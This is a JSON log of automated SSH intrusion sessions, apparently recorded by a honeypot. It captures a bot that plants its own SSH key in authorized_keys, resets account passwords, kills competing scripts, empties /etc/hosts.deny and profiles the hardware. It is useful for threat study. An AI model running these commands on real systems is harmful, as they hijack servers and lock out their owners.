{"id":"7174fda1-315e-4d85-be7e-621af5c57b3e","name":"autumn-craggy-weasel","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":51900,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":925,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:44:17.298460+00:00","ended_at":"2026-08-26T13:44:18.623063+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T13:43:39.006087+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:43:39.900596+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:43:50.729834+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:43:51.625738+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:43:52.531937+00:00","kind":"input","latency_ms":null,"data":"echo \"root:W3kR87ovfqbO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:43:53.419458+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:43:55.417665+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:43:56.088033+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:43:57.000184+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:43:58.417099+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:43:59.342005+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:44:00.807970+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:44:01.713848+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:44:02.098402+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:44:03.007714+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:44:03.569880+00:00","kind":"output","latency_ms":null,"data":" 13:44:03 up 6 days, 10:34, 0 user, load average: 0.13, 0.16, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:44:05.303088+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:44:05.865348+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:44:06.800043+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:44:07.493111+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:44:08.404642+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:44:09.131582+00:00","kind":"output","latency_ms":null,"data":"top - 13:44:09 up 6 days, 10:34, 0 user, load average: 0.13, 0.16, 0.15\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:44:10.409799+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:44:11.206523+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:44:12.139817+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:44:12.871697+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:44:13.801078+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:44:14.322959+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:44:15.244064+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:44:16.363252+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:44:17.299118+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:44:18.339390+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"seth","method":"password","accepted":true,"tier":"other"}]} {"id":"439322a1-5c09-4c0e-ab8a-e2b8ec532e3c","name":"golden-proud-gibbon","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":51920,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:43:49.103754+00:00","ended_at":"2026-08-26T13:43:50.445943+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"529c48de-0a95-48d8-b2c8-12c187c0104a","name":"dewy-pristine-panther","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":51908,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:43:45.441750+00:00","ended_at":"2026-08-26T13:43:47.326053+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"858a0932-be08-43d0-afe3-adec50fe91cb","name":"loyal-lucid-civet","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":51696,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":934,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:41:01.736509+00:00","ended_at":"2026-08-26T13:41:03.499969+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T13:40:24.405879+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:40:25.272534+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:40:33.232347+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:40:33.856073+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:40:34.767052+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZRzjJw4A3AJe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:40:35.703196+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:40:36.618549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:40:37.086324+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:40:38.003436+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:40:39.145111+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:40:40.648742+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:40:42.012682+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:40:43.705014+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:40:44.459129+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:40:46.146738+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:40:46.947762+00:00","kind":"output","latency_ms":null,"data":" 13:40:46 up 6 days, 10:30, 0 user, load average: 0.14, 0.11, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:40:47.859251+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:40:48.298666+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:40:49.211387+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:40:49.534723+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:40:50.451055+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:40:50.709327+00:00","kind":"output","latency_ms":null,"data":"top - 13:40:50 up 6 days, 10:30, 0 user, load average: 0.14, 0.11, 0.15\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:40:52.403135+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:40:52.898920+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:40:55.414461+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:40:56.211392+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:40:57.111270+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:40:57.817592+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:40:59.459323+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:41:00.801551+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:41:01.737093+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:41:03.199937+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QAZwsx1234","method":"password","accepted":true,"tier":"other"}]} {"id":"fc5f5d03-7a4d-422b-b5d1-5c2ec841e4ff","name":"quaint-dusty-sparrow","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":51712,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:40:30.914460+00:00","ended_at":"2026-08-26T13:40:32.949886+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"601eaa1d-9130-4916-af4e-f2be796a10f6","name":"tender-whispering-shelduck","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":51704,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:40:27.320840+00:00","ended_at":"2026-08-26T13:40:28.599606+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"09b9f7e9-442c-4620-b82d-79ed426f8809","name":"whispering-mighty-barbet","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":51506,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":930,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:37:48.623116+00:00","ended_at":"2026-08-26T13:37:50.244066+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-26T13:37:14.803473+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:37:15.704652+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:37:23.405537+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:37:23.717601+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:37:24.617565+00:00","kind":"input","latency_ms":null,"data":"echo -e \"159753\\n46x8TZze7IYv\\n46x8TZze7IYv\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:37:25.715998+00:00","kind":"input","latency_ms":null,"data":"echo \"159753\\n46x8TZze7IYv\\n46x8TZze7IYv\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:37:26.613136+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:37:27.377140+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:37:28.310917+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:37:29.248532+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:37:30.103643+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:37:31.253893+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:37:32.401876+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:37:33.212850+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:37:34.112405+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:37:34.559797+00:00","kind":"output","latency_ms":null,"data":" 13:37:34 up 6 days, 10:27, 0 user, load average: 0.19, 0.17, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:37:36.507628+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:37:37.031290+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:37:38.008379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:37:38.870015+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:37:40.002676+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:37:40.393504+00:00","kind":"output","latency_ms":null,"data":"top - 13:37:40 up 6 days, 10:27, 0 user, load average: 0.19, 0.17, 0.21\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:37:41.325326+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:37:42.207091+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:37:43.102145+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:37:43.940459+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:37:45.101322+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:37:45.630144+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-26T13:37:46.533413+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:37:47.764119+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:37:48.623635+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:37:49.963000+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"159753","method":"password","accepted":true,"tier":"other"}]} {"id":"7aaac6ab-33d7-4341-832a-49fbf0c065e1","name":"earnest-painted-ermine","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":51522,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:37:21.643483+00:00","ended_at":"2026-08-26T13:37:23.107611+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"15374453-8367-41a1-8287-1adba5e6323e","name":"drifting-dusty-quoll","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":51514,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:37:17.851921+00:00","ended_at":"2026-08-26T13:37:19.852080+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5e266807-f308-4837-8727-adf13b3a0c6f","name":"faded-salty-redshank","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":51298,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":891,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:34:51.196430+00:00","ended_at":"2026-08-26T13:34:52.702663+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-26T13:34:16.999713+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:34:18.147992+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:34:27.403496+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:34:28.067621+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:34:28.953633+00:00","kind":"input","latency_ms":null,"data":"echo -e \"xyz\\nL4ypR9wBaFUk\\nL4ypR9wBaFUk\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:34:29.855329+00:00","kind":"input","latency_ms":null,"data":"echo \"xyz\\nL4ypR9wBaFUk\\nL4ypR9wBaFUk\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:34:30.744482+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:34:31.238111+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:34:32.096747+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:34:33.343942+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:34:34.300586+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:34:35.601586+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:34:36.497060+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:34:37.065111+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:34:37.955831+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:34:38.369992+00:00","kind":"output","latency_ms":null,"data":" 13:34:38 up 6 days, 10:24, 0 user, load average: 0.22, 0.19, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:34:39.296237+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:34:40.120164+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:34:40.998695+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:34:41.412388+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:34:42.297160+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:34:42.785484+00:00","kind":"output","latency_ms":null,"data":"top - 13:34:42 up 6 days, 10:24, 0 user, load average: 0.22, 0.19, 0.17\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 